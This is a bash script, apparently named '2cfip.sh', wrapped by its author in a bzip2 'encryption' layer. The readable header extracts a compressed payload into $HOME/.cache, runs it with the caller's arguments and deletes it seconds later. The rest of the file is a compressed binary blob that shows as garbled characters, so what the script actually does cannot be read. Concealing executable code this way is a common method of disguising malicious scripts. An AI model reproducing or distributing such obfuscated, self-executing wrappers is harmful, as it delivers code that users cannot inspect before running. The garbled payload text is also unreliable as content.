#!/bin/bash # # Encrypted by Rangga Fajar Oktariansyah (Anak Gabut Thea) # # This file has been encrypted with BZip2 Shell Exec # The filename '2cfip.sh' encrypted at Mon Feb 5 09:39:32 UTC 2024 # I try invoking the compressed executable with the original name # (for programs looking at their name). We also try to retain the original # file permissions on the compressed file. For safety reasons, bzsh will # not create setuid or setgid shell scripts. # # WARNING: the first line of this file must be either : or #!/bin/bash # The : is required for some old versions of csh. # On Ultrix, /bin/bash is too buggy, change the first line to: #!/bin/bash5 # # Don't forget to follow me on skip=75 tab=' ' nl=' ' IFS=" $tab$nl" # Make sure important variables exist if not already defined # $USER is defined by login(1) which is not always executed (e.g. containers) # POSIX: https://pubs.opengroup.org/onlinepubs/009695299/utilities/id.html USER=${USER:-$(id -u -n)} # $HOME is defined at the time of login, but it could be unset. If it is unset, # a tilde by itself (~) will not be expanded to the current user's home directory. # POSIX: https://pubs.opengroup.org/onlinepubs/009696899/basedefs/xbd_chap08.html#tag_08_03 HOME="${HOME:-$(getent passwd $USER 2>/dev/null | cut -d: -f6)}" # macOS does not have getent, but this works even if $HOME is unset HOME="${HOME:-$(eval echo ~$USER)}" umask=`umask` umask 77 bztmpdir= trap 'res=$? test -n "$bztmpdir" && rm -fr "$bztmpdir" (exit $res); exit $res ' 0 1 2 3 5 10 13 15 case $TMPDIR in / | */tmp/) test -d "$TMPDIR" && test -w "$TMPDIR" && test -x "$TMPDIR" || TMPDIR=$HOME/.cache/; test -d "$HOME/.cache" && test -w "$HOME/.cache" && test -x "$HOME/.cache" || mkdir "$HOME/.cache";; */tmp) TMPDIR=$TMPDIR/; test -d "$TMPDIR" && test -w "$TMPDIR" && test -x "$TMPDIR" || TMPDIR=$HOME/.cache/; test -d "$HOME/.cache" && test -w "$HOME/.cache" && test -x "$HOME/.cache" || mkdir "$HOME/.cache";; *:* | *) TMPDIR=$HOME/.cache/; test -d "$HOME/.cache" && test -w "$HOME/.cache" && test -x "$HOME/.cache" || mkdir "$HOME/.cache";; esac if type mktemp >/dev/null 2>&1; then bztmpdir=`mktemp -d "${TMPDIR}bztmpXXXXXXXXX"` else bztmpdir=${TMPDIR}bztmp$$; mkdir $bztmpdir fi || { (exit 127); exit 127; } bztmp=$bztmpdir/$0 case $0 in -* | */*' ') mkdir -p "$bztmp" && rm -r "$bztmp";; */*) bztmp=$bztmpdir/`basename "$0"`;; esac || { (exit 127); exit 127; } case `printf 'X\n' | tail -n +1 2>/dev/null` in X) tail_n=-n;; *) tail_n=;; esac if tail $tail_n +$skip <"$0" | bzip2 -cd > "$bztmp"; then umask $umask chmod 700 "$bztmp" (sleep 5; rm -fr "$bztmpdir") 2>/dev/null & "$bztmp" ${1+"$@"}; res=$? else printf >&2 '%s\n' "Cannot decompress ${0##*/}" printf >&2 '%s\n' "Report bugs to ." (exit 127); res=127 fi; exit $res BZh91AY&SY"yq_ 0}w N$IH)'䚞FFiO(lQ'P4 244 b Ʉ4ѓL1#&4h  F4 2`=Tbhh @i4b0h@124dd)d @h44MF!RP#M#MFFa &LLdɠh 42h416D3IiĂ%#F0iMSzjhŒ=OSSѦiikh< ٴgkknşBixBT -CncµiBʔ7\n\+ֶjX[ &kᆙC4r_|/;F7-Lܰv)[Lnf75iе]?xO1pS=Bͧ<%Ը|HPnYDP!7}6Փh5!][<%ɱ2i/Y=uE{;aX4(@OnCҁg5C!QO=ZpDIYE$0@d rVNtJ ' C5z|]9:C"+3^Ȕ9o=6֑ ;1֚N`8D)qS)@o;ThU~ja 3afU*f8Mڡ8@ʘ^Ծ3BSv8ZёḱTQR(cFyϿ˶'QyUAC6I"}"1qAx aP0M! e!E][mQ,cPQLHI,!b /it:ʉOzyJ}=(:4գ ;BEbA Go@;8=җ=G%}~R!I,A+n B Kr`ֵkZwmx^FǤ[BwӳQb)joswL6qBd/ !A 0Ar )JR%<[1r;n\Ppl&g=à GyB=#Q3V!ӏ 2IW}mv=>*>BB@ z vThJ tj1(m(*Tki$M -H uÇᗡ9;Qͭ .ňnai}ݺecie,d;Y2涺89C8mCE@Þ}9!RE@8 m 0038q[=Kx0%>Y {ٛbaX1FaB;A q$q="w~@O$!QwݴYJS,ŝ( 3d,;ކ^rMHr@.͹Z&m͜3m^^A1D/S k$P~qxp["SH;WrZ^/Lh[Cs!uAZrp]g-d,/:q19&!I$!ﱿx7z:{p :haD eq!x97C"i㻒P Wɺbi.t! wZN㋸rliP*N` "046JYyʣ|LD:bĜ+@ ,sZ- QPU%r-8s -Pӽ{& .6Z=Y)re#u%!R A*  &7:Cq:ق}v4;N$3&'@/d0i-pc{է, Ljo9T-B^6 3 y@ω3f@?Gvpa Ċh QFJJ4(Р ))yQ%8JWܒ$ ܷ*A<99;M<`F+#@C`R !A82(W|lG0r,&˄zE * tn@>N#Df<>m(=;>c`Fl'@?lA~>pG"R&Tn'M¢&0 5W!($t'̅W*73d1* 4 ~D`N"(Gh~&D]hJCl7T˷I.mw?uJ)z~h.XE )}}#m#P2BG~Ok2h,}=ݿ>Q*>ݯh-Ã:nrWBa<12j!}裔#ϼyOuϜ`+P D(c;!` _@VBƜDT|t5⬵j#QCU:/b93h)F)'I6V+={*F@VG+RA f౫xfhV O}e!1-U(cKr=NVx!2Mhq8glU[vi%{f+o1 2p.z_w$S +